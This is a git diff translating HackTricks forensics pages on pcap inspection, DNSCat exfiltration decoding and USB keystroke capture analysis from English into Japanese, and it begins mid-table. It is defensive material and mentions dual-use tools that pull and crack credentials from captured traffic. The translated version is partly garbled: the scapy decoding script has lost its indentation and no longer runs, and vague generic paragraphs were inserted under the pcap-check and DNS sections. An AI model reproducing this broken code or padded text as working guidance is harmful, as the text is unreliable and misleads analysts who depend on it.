ZoneId=3、ReferrerUrl、HostUrl | +| Microsoft Edge | ZoneId=3、LastWriterPackageFamilyName=Microsoft.MicrosoftEdge\_8wekyb3d8bbwe | +| Firefox、Torブラウザ、Outlook2016、Thunderbird、Windows Mail、Skype | ZoneId=3 | +| μTorrent | ZoneId=3、HostUrl=about:internet |
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 diff --git a/forensics/basic-forensic-methodology/pcap-inspection/README.md b/forensics/basic-forensic-methodology/pcap-inspection/README.md index f3f20194b..925c58c7b 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/README.md @@ -1,44 +1,44 @@ -# Pcap Inspection +# Pcap検査
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを目的として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。 {% embed url="https://www.rootedcon.com/" %} {% hint style="info" %} -A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +**PCAP** vs **PCAPNG**についての注意事項:PCAPファイル形式には2つのバージョンがあります。**PCAPNGは新しいバージョンであり、すべてのツールでサポートされていません**。他のツールで使用するために、Wiresharkなどの互換性のあるツールを使用して、PCAPNGファイルをPCAPに変換する必要がある場合があります。 {% endhint %} -## Online tools for pcaps +## PCAPのためのオンラインツール -* If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -* Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -* Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) +* もしPCAPのヘッダーが**壊れている**場合は、[http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)を使用して**修正**してみてください。 +* [**PacketTotal**](https://packettotal.com)でPCAP内の**情報**を抽出し、**マルウェア**を検索します。 +* [**www.virustotal.com**](https://www.virustotal.com)と[**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)を使用して、**悪意のある活動**を検索します。 -## Extract Information +## 情報の抽出 -The following tools are useful to extract statistics, files, etc. +以下のツールは、統計情報やファイルなどを抽出するのに役立ちます。 ### Wireshark {% hint style="info" %} -**If you are going to analyze a PCAP you basically must to know how to use Wireshark** +**PCAPを分析する場合、基本的にはWiresharkの使用方法を知っている必要があります** {% endhint %} -You can find some Wireshark tricks in: +Wiresharkのトリックは次の場所で見つけることができます: {% content-ref url="wireshark-tricks.md" %} [wireshark-tricks.md](wireshark-tricks.md) @@ -46,113 +46,111 @@ You can find some Wireshark tricks in: ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(Linuxのみ)_は、**pcap**を分析し、情報を抽出することができます。例えば、pcapファイルからXplicoは、各メール(POP、IMAP、SMTPプロトコル)、すべてのHTTPコンテンツ、各VoIP通話(SIP)、FTP、TFTPなどを抽出します。 +**インストール** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**実行** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +_**127.0.0.1:9876**_の資格情報は _**xplico:xplico**_ でアクセスしてください。 -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +次に、**新しいケース**を作成し、ケース内に**新しいセッション**を作成し、**pcap**ファイルを**アップロード**してください。 ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Xplicoと同様に、pcapからオブジェクトを**分析および抽出**するためのツールです。[**こちら**](https://www.netresec.com/?page=NetworkMiner)から無料版を**ダウンロード**できます。**Windows**で動作します。\ +このツールは、パケットから**他の情報を分析**して、**より迅速に**何が起こっていたのかを知るためにも役立ちます。 ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +[**こちら**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)から**NetWitness Investigator**をダウンロードできます(**Windows**で動作します)。\ +これは、パケットを**分析**し、情報を有用な方法で**整理**して、内部で何が起こっているかを**把握**するのに役立つ別の便利なツールです。 ![](<../../../.gitbook/assets/image (567) (1).png>) ### [BruteShark](https://github.com/odedshimon/BruteShark) -* Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -* Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -* Build a visual network diagram (Network nodes & users) -* Extract DNS queries -* Reconstruct all TCP & UDP Sessions -* File Carving +* ユーザー名とパスワードの抽出とエンコード(HTTP、FTP、Telnet、IMAP、SMTP...) +* 認証ハッシュの抽出とHashcatを使用してクラック(Kerberos、NTLM、CRAM-MD5、HTTP-Digest...) +* ビジュアルネットワークダイアグラムの作成(ネットワークノードとユーザー) +* DNSクエリの抽出 +* すべてのTCPおよびUDPセッションの再構築 +* ファイルの抽出 ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +もし pcap 内で何かを探している場合は、**ngrep** を使用することができます。以下は、主なフィルタを使用した例です: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` +### カービング -### Carving - -Using common carving techniques can be useful to extract files and information from the pcap: +一般的なカービング技術を使用すると、pcapからファイルや情報を抽出するのに役立ちます。 {% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %} [file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md) {% endcontent-ref %} -### Capturing credentials +### 資格情報のキャプチャ -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. +[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)のようなツールを使用して、pcapまたはライブインターフェースから資格情報を解析することができます。
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的な知識の促進を使命**として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家の熱い交流の場です。 {% embed url="https://www.rootedcon.com/" %} -## Check Exploits/Malware +## Exploits/Malwareのチェック ### Suricata -**Install and setup** - +**インストールとセットアップ** ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` +**pcapの確認** -**Check pcap** +To analyze network traffic, you can use a packet capture (pcap) file. This file contains recorded network packets that can be inspected to gather information about network communications. The pcap file can be obtained from various sources, such as network monitoring tools or packet sniffers. +To check a pcap file, you can use tools like Wireshark or tcpdump. These tools allow you to open the pcap file and view the captured packets. You can analyze the packet headers, payload, and other relevant information. + +When inspecting a pcap file, you should look for any suspicious or abnormal network activity. This can include unusual traffic patterns, unexpected connections, or any signs of malicious activity. By carefully examining the packets, you can identify potential security issues or vulnerabilities in the network. + +It is important to note that analyzing pcap files requires some level of expertise in network protocols and packet analysis. It is recommended to have a good understanding of networking concepts and security principles before diving into pcap inspection. + +Overall, checking pcap files is an essential part of forensic analysis and can provide valuable insights into network behavior and potential security threats. ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)は、次の機能を持つツールです。 -* Reads a PCAP File and Extracts Http Streams. -* gzip deflates any compressed streams -* Scans every file with yara -* Writes a report.txt -* Optionally saves matching files to a Dir +- PCAPファイルを読み込み、HTTPストリームを抽出します。 +- 圧縮されたストリームをgzipで解凍します。 +- 各ファイルをYaraでスキャンします。 +- report.txtを作成します。 +- 必要に応じて一致するファイルをディレクトリに保存します。 -### Malware Analysis +### マルウェア解析 -Check if you can find any fingerprint of a known malware: +既知のマルウェアのフィンガープリントを見つけることができるかどうかを確認してください。 {% content-ref url="../malware-analysis.md" %} [malware-analysis.md](../malware-analysis.md) @@ -160,12 +158,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> Zeek is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> Zeekは、パッシブなオープンソースのネットワークトラフィックアナライザーです。多くのオペレーターは、Zeekをネットワークセキュリティモニター(NSM)として使用し、不審または悪意のある活動の調査をサポートしています。Zeekは、セキュリティドメインを超えたさまざまなトラフィック分析タスクもサポートしており、パフォーマンス測定やトラブルシューティングなどがあります。 -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. - -### Connections Info +基本的に、`zeek`によって作成されるログは**pcap**ではありません。そのため、pcapに関する**情報**を解析するためには、**他のツール**を使用する必要があります。 +### 接続情報 ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -215,9 +212,18 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` +### DNS情報 -### DNS info +DNS(Domain Name System)は、インターネット上のドメイン名とIPアドレスの対応関係を管理するシステムです。DNS情報は、ネットワークトラフィックの中に含まれており、パケットキャプチャ(PCAP)ファイルを調査することで取得できます。 +PCAPファイルを調査する際には、以下の手順に従うことが一般的です。 + +1. PCAPファイルを開きます。 +2. DNSトラフィックを特定します。 +3. DNSクエリとDNSレスポンスを分析します。 +4. ドメイン名と関連するIPアドレスを特定します。 + +DNS情報の分析により、ネットワーク上で行われた通信の詳細を把握することができます。これにより、不正なアクティビティやセキュリティ上の問題を特定することができます。 ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -234,8 +240,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## その他のpcap分析のトリック {% content-ref url="dnscat-exfiltration.md" %} [dnscat-exfiltration.md](dnscat-exfiltration.md) @@ -253,7 +258,7 @@ rita show-exploded-dns -H --limit 10 zeek_logs
-[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. +[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。**技術的な知識の促進を使命**として、この会議は、あらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。 {% embed url="https://www.rootedcon.com/" %} @@ -261,10 +266,10 @@ rita show-exploded-dns -H --limit 10 zeek_logs ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。
diff --git a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index cf57763b7..3fce2a835 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,46 +1,42 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- サイバーセキュリティ会社で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +**DNSCat**によって**DNS経由でデータが外部に送信**されている場合(暗号化を使用していない場合)、送信された内容を見つけることができます。 +**最初の9バイト**は**実際のデータではなく、C\&C通信に関連しています**。 ```python from scapy.all import rdpcap, DNSQR, DNSRR -import struct +import struct f = "" last = "" for p in rdpcap('ch21.pcap'): - if p.haslayer(DNSQR) and not p.haslayer(DNSRR): +if p.haslayer(DNSQR) and not p.haslayer(DNSRR): - qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") - qry = ''.join(_.decode('hex') for _ in qry)[9:] - if last != qry: - print(qry) - f += qry - last = qry +qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") +qry = ''.join(_.decode('hex') for _ in qry)[9:] +if last != qry: +print(qry) +f += qry +last = qry #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +詳細については、[https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)を参照してください。\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) @@ -48,16 +44,14 @@ For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsides ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index 73afa67b7..60395b922 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,29 +1,27 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-If you have a pcap of a USB connection with a lot of Interruptions probably it is a USB Keyboard connection. +もし、USB接続のpcapファイルに多くの中断がある場合、おそらくUSBキーボードの接続です。 -A wireshark filter like this could be useful: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +次のようなWiresharkフィルターが役立つ場合があります:`usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -It could be important to know that the data that starts with "02" is pressed using shift. +"02"で始まるデータは、Shiftキーを押したことを示しています。 -You can read more information and find some scripts about how to analyse this in: +詳細な情報や解析方法については、次のリンクを参照してください: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) @@ -34,16 +32,14 @@ You can read more information and find some scripts about how to analyse this in ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) 